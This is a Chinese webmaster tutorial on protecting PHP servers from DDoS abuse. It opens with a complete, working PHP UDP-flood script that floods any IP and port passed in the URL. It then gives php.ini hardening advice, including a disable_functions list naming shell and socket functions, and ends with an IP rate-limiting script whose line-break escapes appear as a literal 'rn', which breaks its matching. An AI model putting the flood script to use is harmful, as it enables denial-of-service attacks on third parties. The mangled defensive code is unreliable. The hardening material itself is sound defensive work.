加入收藏 | 设为首页 | 会员中心 | 我要投稿 云计算网_泰州站长网 (http://www.0523zz.com/)- 视觉智能、AI应用、CDN、行业物联网、智能数字人!
当前位置: 首页 > 站长学院 > PHP教程 > 正文

PHP DDos的几个防御方法详解

发布时间:2022-02-11 20:41:53 所属栏目:PHP教程 来源:互联网
导读:PHP DDos是一种利用服务器就是利用我服务器的php.ini中配置allow_url_fopen = On才得成了,但allow_url_fopen 这个功能很多网站都需要使用,下面我来给大家介绍一些关于PHP DDos的几个防御方法. 我们先来看php ddos代码,代码如下: ?php $packets = 0; $ip =
  PHP DDos是一种利用服务器就是利用我服务器的php.ini中配置allow_url_fopen = On才得成了,但allow_url_fopen 这个功能很多网站都需要使用,下面我来给大家介绍一些关于PHP DDos的几个防御方法.
 
  我们先来看php ddos代码,代码如下:
 
  <?php
  $packets = 0;  
  $ip = $_GET['ip'];  
  $rand = $_GET['port'];  
  set_time_limit(0);  
  ignore_user_abort(FALSE);
  $exec_time = $_GET['time'];
  $time = time();  
  print "Flooded: $ip on port $rand
  ";  
  $max_time = $time+$exec_time;
  
  for($i=0;$i<65535;$i++){  
  $out .= "X";  
  }  
  while(1){  
  $packets++;  
  if(time() > $max_time){  
  break;  
  }
  $fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);  
  if($fp){  
  fwrite($fp, $out);  
  fclose($fp);  
  }  
  } //开源代码Cuoxin.com
  echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s n";  
  ?>
  细心的朋友会发现fsockopen是一个主要攻击函数了,不断连接发送请求导致机器流量与cpu过多从而网站不对正常访问了.
 
  于是简单的研究了一下PHP DDos脚本构造,并有所收获,下面介绍几点可以最大程度避免的方法.
 
  注意:以下操作具有危险性,对于造成的任何后果,与傲游无关,请谨慎操作.
 
  1.打开php.ini,2.禁用危险函数
 
  由于程序不同,函数要求也不同,所以请客户自行增删需要禁用的函数,找到disable_functions,将前面的“;”去掉,在等号后面增加如下代码:
 
  phpinfo,passthru,exec,system,popen,chroot,escapeshellcmd,escapeshellarg,shell_exec,proc_open,proc_get_status,fsocket,fsockopen
 
  3.设置PHP执行超时时间
 
  如果程序未执行结束但已经达到最大执行时间,则会被强制停止,请根据需要调整时间,找到max_execution_time,将前面的“;”去掉,在等号后面增加正整数,单位为秒,如:30
 
  4.禁用上传目录PHP执行权限
 
  大概分为三种服务器:IIS,Apache、Nginx,具体步骤就不写了.
 
  5.一个很暴力的方法
 
  直接禁止PHP执行,原因是很多站点都可以生成静态网页的,每次生成或者管理都去手工打开PHP执行权限,现在已经有几个用户使用这种方法了,具体方法参见方法4
 
  6.关闭用户中心
 
  比如dede等cms都会有用户中心,里面有很多上传的地方,这就是大概的问题所在.
 
  7.修改管理员目录
 
  这个方法就不细谈了,并不是对所有程序都适合.
 
  8.修改默认管理帐号
 
  很多人都习惯使用:admin 但是如果程序出现漏洞,很容易被猜测出admin的密码,所以建议修改admin为其他登录名.
 
  9.一个复杂且记得住的密码
 
  不管是Windows/Linux的系统用户还是网站管理员的账户,都需要设置一个难以猜解的密码,如:123hai@tang@.
 
  后再再附一个php防ddos攻击的代码,代码如下:
 
  <?php   
  //查询禁止IP   
  $ip =$_SERVER['REMOTE_ADDR'];   
  $fileht=".htaccess2";   
  if(!file_exists($fileht))file_put_contents($fileht,"");   
  $filehtarr=@file($fileht);   
  if(in_array($ip."rn",$filehtarr))die("Warning:"."<br>"."Your IP address are forbided by some reason, IF you have any question Pls emill to shop@mydalle.com!");  
  
  //加入禁止IP   
  $time=time();   
  $fileforbid="log/forbidchk.dat";   
  if(file_exists($fileforbid))   
  { if($time-filemtime($fileforbid)>60)unlink($fileforbid);   
  else{   
  $fileforbidarr=@file($fileforbid);   
  if($ip==substr($fileforbidarr[0],0,strlen($ip)))   
  {   
  if($time-substr($fileforbidarr[1],0,strlen($time))>600)unlink($fileforbid);  
  elseif($fileforbidarr[2]>600){file_put_contents($fileht,$ip."rn",FILE_APPEND);unlink($fileforbid);}   
  else{$fileforbidarr[2]++;file_put_contents($fileforbid,$fileforbidarr);}   
  }   
  }   
  }   
  //防刷新   
  $str="";   
  $file="log/ipdate.dat";   
  if(!file_exists("log")&&!is_dir("log"))mkdir("log",0777);   
  if(!file_exists($file))file_put_contents($file,"");   
  $allowTime = 120;//防刷新时间   
  $allowNum=10;//防刷新次数   
  $uri=$_SERVER['REQUEST_URI'];   
  $checkip=md5($ip);   
  $checkuri=md5($uri);   
  $yesno=true;   
  $ipdate=@file($file);   
  foreach($ipdate as $k=>$v)   
  { $iptem=substr($v,0,32);   
  $uritem=substr($v,32,32);   
  $timetem=substr($v,64,10);   
  $numtem=substr($v,74);   
  if($time-$timetem<$allowTime){   
  if($iptem!=$checkip)$str.=$v;   
  else{   
  $yesno=false;   
  if($uritem!=$checkuri)$str.=$iptem.$checkuri.$time."1rn";   
  elseif($numtem<$allowNum)$str.=$iptem.$uritem.$timetem.($numtem+1)."rn";   
  else   
  {   
  if(!file_exists($fileforbid)){$addforbidarr=array($ip."rn",time()."rn",1);file_put_contents($fileforbid,$addforbidarr);}   
  file_put_contents("log/forbided_ip.log",$ip."--".date("Y-m-d H:i:s",time())."--".$uri."rn",FILE_APPEND);   
  $timepass=$timetem+$allowTime-$time;   
  die("Warning:"."<br>"."Sorry,you are forbided by refreshing frequently too much, Pls wait for ".$timepass." seconds to continue!");   
  }   
  }   
  }  //开源代码Cuoxin.com
  }   
  if($yesno) $str.=$checkip.$checkuri.$time."1rn";   
  file_put_contents($file,$str);   
  ?> 

(编辑:云计算网_泰州站长网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

    热点阅读